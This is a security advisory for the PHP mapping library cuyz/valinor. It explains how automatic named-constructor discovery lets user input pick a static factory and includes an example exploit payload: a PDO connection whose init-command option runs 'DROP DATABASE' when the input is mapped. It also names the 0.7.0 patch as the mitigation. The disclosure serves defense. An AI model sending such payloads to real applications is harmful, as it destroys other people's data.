GHSA-xhr8-mpwq-2rr2 — cuyz/valinor

Design issue - automatic constructor discovery

The issue arises when upgrading from cuyz/valinor:0.3.0 to a newer system on an existing application, which broke due to the wrong constructor being picked.

Still, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.

Example exploit

Take following DTO example:

final class UserDTO
{
    public function __construct(
        public int $id,
        public string $name
    ) {}
    public static function fromDb(
        PDO $connection,
        int $id
    ): self { /* ... code to fetch the DTO here ... */ }
}

There is nothing inherently unsafe about the above UserDTO, but when mixed with cuyz/valinor:^0.5.0 ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:

// this could be coming from user input:
$maliciousPayload = [
    'connection' => [
      'dsn' => 'mysql:host=some-host;database=some-database',
      'username' => 'root',
      'password' => 'root',
      'options' => [
        // PDO::MYSQL_ATTR_INIT_COMMAND === 1002
        1002 => 'DROP DATABASE all-the-moneys'
      ]
    ],
    'id' => 123,
];

$treeMapper->map(
  UserDTO::class,
  $maliciousPayload
); // your DB is gone :D

The above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.

Mitigation

Version 0.7.0 contains a patch for this issue.

Automatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.